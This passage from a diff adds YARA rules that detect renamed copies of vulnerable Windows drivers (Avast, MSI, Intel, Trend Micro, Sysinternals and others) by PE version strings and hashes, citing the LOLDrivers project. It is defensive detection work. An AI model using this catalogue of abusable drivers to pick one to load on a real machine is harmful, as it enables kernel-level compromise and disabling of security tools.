+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00560042006f0078004400720076 } /* InternalName VBoxDrv */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041006e00740069006400650074006500630074002000320030003100390020005000750062006c00690063 } /* ProductName AntidetectPublic */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 } /* OriginalFilename VBoxDrvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300039002d00320030003100390020004f007200610063006c006500200043006f00720070006f0072006100740069006f006e } /* LegalCopyright CopyrightCOracleCorporation */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of them and not filename matches /VBoxDrv/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Elaboratebytesag_Elbycdio_Cdrtools_2380 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ElbyCDIO.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "238046cfe126a1f8ab96d8b62f6aa5ec97bab830e2bae5b1b6ab2d31894c79e4"
+		date = "2023-06-14"
+		score = 70
+		id = "bcfba84e-b503-5dd7-b64d-85fcda1c559f"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f00770073002000780036003400200049002f004f0020006400720069007600650072 } /* FileDescription ElbyCDWindowsxIOdriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 } /* CompanyName ElaborateBytesAG */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200033002c00200032 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f } /* InternalName ElbyCDIO */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 } /* ProductName CDRTools */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 } /* OriginalFilename ElbyCDIOsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003900200045006c00610062006f0072006100740065002000420079007400650073002000410047 } /* LegalCopyright CopyrightCElaborateBytesAG */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /ElbyCDIO/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Msi_Ntiolibxsys_Ntiolibx_1E8B {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "1e8b0c1966e566a523d652e00f7727d8b0663f1dfdce3b9a09b9adfaef48d8ee"
+		hash = "5d530e111400785d183057113d70623e17af32931668ab7c7fc826f0fd4f91a3"
+		date = "2023-06-14"
+		score = 70
+		id = "45887d8b-facf-5053-bc58-16bd214a24f1"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c00690062005f005800360034 } /* FileDescription NTIOLibX */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 } /* CompanyName MSI */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062005f005800360034002e007300790073 } /* InternalName NTIOLibXsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062005f005800360034 } /* ProductName NTIOLibX */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062005f005800360034002e007300790073 } /* OriginalFilename NTIOLibXsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100340020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCMSIAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /NTIOLib/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_6BFC {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "6bfc0f425de9f4e7480aa2d1f2e08892d0553ed0df1c31e9bf3d8d702f38fa2e"
+		hash = "3c7e5b25a33a7805c999d318a9523fcae46695a89f55bbdb8bb9087360323dfc"
+		hash = "46621554728bc55438c7c241137af401250f062edef6e7efecf1a6f0f6d0c1f7"
+		date = "2023-06-14"
+		score = 70
+		id = "1078dda3-be3d-57d2-becf-dbe54943e48b"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 } /* FileDescription ProcessExplorer */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d } /* CompanyName Sysinternalswwwsysinternalscom */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310035002e00300030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310035002e00300030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 } /* InternalName procexpsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 } /* ProductName ProcessExplorer */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 } /* OriginalFilename procexpSys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d002e002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000310031 } /* LegalCopyright CopyrightCMRussinovich */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /procexp/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_7A48 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "7a48f92a9c2d95a72e18055cac28c1e7e6cad5f47aa735cbea5c3b82813ccfaf"
+		date = "2023-06-14"
+		score = 70
+		id = "54bb3bce-fafa-519c-a701-2857ba3b8a97"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 } /* FileDescription ProcessExplorer */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d } /* CompanyName Sysinternalswwwsysinternalscom */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310036002e00340031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310036002e00340031 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 } /* InternalName procexpsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 } /* ProductName ProcessExplorer */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 } /* OriginalFilename procexpSys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d00610072006b002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000320031 } /* LegalCopyright CopyrightCMarkRussinovich */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /procexp/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Zemanaltd_Zam_45F4 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "45f42c5d874369d6be270ea27a5511efcca512aeac7977f83a51b7c4dee6b5ef"
+		date = "2023-06-14"
+		score = 70
+		id = "239d02c6-0f72-5ce8-833c-62b7e8e371e8"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d } /* FileDescription ZAM */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e } /* CompanyName ZemanaLtd */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00320030002e003800360035 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d } /* ProductName ZAM */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright ZemanaLtdAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them and not filename matches /zam64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_4D05 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "4d0580c20c1ba74cf90d44c82d040f0039542eea96e4bbff3996e6760f457cee"
+		hash = "77c5e95b872b1d815d6d3ed28b399ca39f3427eeb0143f49982120ff732285a9"
+		hash = "cff9aa9046bdfd781d34f607d901a431a51bb7e5f48f4f681cc743b2cdedc98c"
+		hash = "b51ddcf8309c80384986dda9b11bf7856b030e3e885b0856efdb9e84064917e5"
+		hash = "ff115cefe624b6ca0b3878a86f6f8b352d1915b65fbbdc33ae15530a96ebdaa7"
+		hash = "a566af57d88f37fa033e64b1d8abbd3ffdacaba260475fbbc8dab846a824eff5"
+		hash = "57a389da784269bb2cc0a258500f6dfbf4f6269276e1192619ce439ec77f4572"
+		hash = "d74755311d127d0eb7454e56babc2db8dbaa814bc4ba8e2a7754d3e0224778e1"
+		date = "2023-06-14"
+		score = 70
+		id = "081a636c-c65c-500e-9eee-7da4347f658a"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 } /* FileDescription IntelRNetworkAdapterDiagnosticDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 } /* CompanyName IntelCorporation */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300033002e0030002e00340020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300033002e0030002e0034 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 } /* InternalName iQVWSYS */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 } /* ProductName IntelRiQVWSYS */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 } /* OriginalFilename iQVWSYS */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300030003600200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CopyrightCIntelCorporationAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /iQVW64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_86A1 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "86a1b1bacc0c51332c9979e6aad84b5fba335df6b9a096ccb7681ab0779a8882"
+		date = "2023-06-14"
+		score = 70
+		id = "1e317c82-53b6-5ab2-9298-1dd046f6fd65"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription Avastantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 } /* CompanyName AVASTSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0038002e0034003000350037002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0038002e0034003000350037002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 } /* ProductName AvastAntivirus */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003800200041005600410053005400200053006f006600740077006100720065 } /* LegalCopyright CopyrightcAVASTSoftware */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them and not filename matches /aswArPot/i and not filename matches /avgArPot/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Trendmicroinc_Tmcommsys_Aegis_61BE {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "61befeef14783eb0fed679fca179d2f5c33eb2dcbd40980669ca2ebeb3bf11cf"
+		date = "2023-06-14"
+		score = 70
+		id = "94cea41e-38ce-5786-b483-91778b9d1b23"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0035002e0030002e0031003100300036 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0035 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410045004700490053 } /* ProductName AEGIS */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003000380020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them and not filename matches /TmComm/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_BE8D {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "be8dd2d39a527649e34dc77ef8bc07193a4234b38597b8f51e519dadc5479ec2"
+		date = "2023-06-14"
+		score = 70
+		id = "f54f0567-711e-5cfd-bc81-34854e8c6cb2"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription Avastantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 } /* CompanyName AVASTSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0034002e0033003800390031002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0034002e0033003800390031002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 } /* ProductName AvastAntivirus */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003800200041005600410053005400200053006f006600740077006100720065 } /* LegalCopyright CopyrightcAVASTSoftware */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them and not filename matches /aswArPot/i and not filename matches /avgArPot/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Msi_Ntiolibsys_Ntiolib_3070 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "30706f110725199e338e9cc1c940d9a644d19a14f0eb8847712cba4cacda67ab"
+		date = "2023-06-14"
+		score = 70
+		id = "eaed99a4-a035-5f0a-bcbe-8f0e2953da40"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004d0053004900200043006f006d00430065006e00530065007200760069006300650020004400720069007600650072 } /* FileDescription MSIComCenServiceDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 } /* CompanyName MSI */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* InternalName NTIOLibsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 } /* ProductName NTIOLib */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* OriginalFilename NTIOLibsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100330020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCMSIAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /NTIOLib/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Msi_Ntiolibsys_Ntiolib_CC58 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "cc586254e9e89e88334adee44e332166119307e79c2f18f6c2ab90ce8ba7fc9b"
+		date = "2023-06-14"
+		score = 70
+		id = "9cd3e34b-90ba-5e52-b049-966a7dceed9d"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c00690062 } /* FileDescription NTIOLib */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 } /* CompanyName MSI */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* InternalName NTIOLibsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 } /* ProductName NTIOLib */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062005f005800360034002e007300790073 } /* OriginalFilename NTIOLibXsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100350020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCMSIAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /NTIOLib/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Windowsrcodenamelonghornddkprovider_Rtkiosys_Windowsrcodenamelonghornddkdriver_916C {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rtkio64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "916c535957a3b8cbf3336b63b2260ea4055163a9e6b214f2a7005d6d36a4a677"
+		hash = "caa85c44eb511377ea7426ff10df00a701c07ffb384eef8287636a4bca0b53ab"
+		hash = "478917514be37b32d5ccf76e4009f6f952f39f5553953544f1b0688befd95e82"
+		date = "2023-06-14"
+		score = 70
+		id = "a3e882e8-d5ae-5b62-b95c-5132299e1682"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005200650061006c00740065006b00200049004f004400720069007600650072 } /* FileDescription RealtekIODriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200043006f00640065006e0061006d00650020004c006f006e00670068006f0072006e002000440044004b002000700072006f00760069006400650072 } /* CompanyName WindowsRCodenameLonghornDDKprovider */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0030002e0036003000300030002e003100360033003800360020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0030002e0036003000300030002e00310036003300380036 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00720074006b0069006f002e007300790073 } /* InternalName rtkiosys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200043006f00640065006e0061006d00650020004c006f006e00670068006f0072006e002000440044004b0020006400720069007600650072 } /* ProductName WindowsRCodenameLonghornDDKdriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00720074006b0069006f002e007300790073 } /* OriginalFilename rtkiosys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright MicrosoftCorporationAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /rtkio64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_E4D9 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "e4d9f037411284e996a002b15b49bc227d085ee869ae1cd91ba54ff7c244f036"
+		date = "2023-06-14"
+		score = 70
+		id = "af95748b-1c9d-5065-9a12-2a9826a4f245"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00350030002e0030002e0031003000350038 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00350030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100350020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them and not filename matches /TmComm/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Windowsrwinddkprovider_Cupfixerxsys_Windowsrwinddkdriver_8C74 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - CupFixerx64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "8c748ae5dcc10614cc134064c99367d28f3131d1f1dda0c9c29e99279dc1bdd9"
+		date = "2023-06-14"
+		score = 70
+		id = "57d993b7-ce28-5f14-872a-71bbb4f79d2e"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530069006e0063006500790020004300750070002000460069007800650072 } /* FileDescription SinceyCupFixer */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b002000700072006f00760069006400650072 } /* CompanyName WindowsRWinDDKprovider */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00330032002e0030002e00310030003000310031002e00310033003300330037 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00330032002e0030002e00310030003000310031002e00310033003300330037 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00430075007000460069007800650072007800360034002e007300790073 } /* InternalName CupFixerxsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b0020006400720069007600650072 } /* ProductName WindowsRWinDDKdriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00430075007000460069007800650072007800360034002e007300790073 } /* OriginalFilename CupFixerxsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright MicrosoftCorporationAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /CupFixerx64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Asustekcomputerinc_Eiosys_Asusvgakernelmodedriver_B175 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - EIO.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "b17507a3246020fa0052a172485d7b3567e0161747927f2edf27c40e310852e0"
+		date = "2023-06-14"
+		score = 70
+		id = "e7e44244-24cc-556d-9a3c-d797535979a5"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004100530055005300200056004700410020004b00650072006e0065006c0020004d006f006400650020004400720069007600650072 } /* FileDescription ASUSVGAKernelModeDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100530055005300540065004b00200043006f006d0070007500740065007200200049006e0063002e } /* CompanyName ASUSTeKComputerInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00390036 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00390036 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00450049004f002e007300790073 } /* InternalName EIOsys */
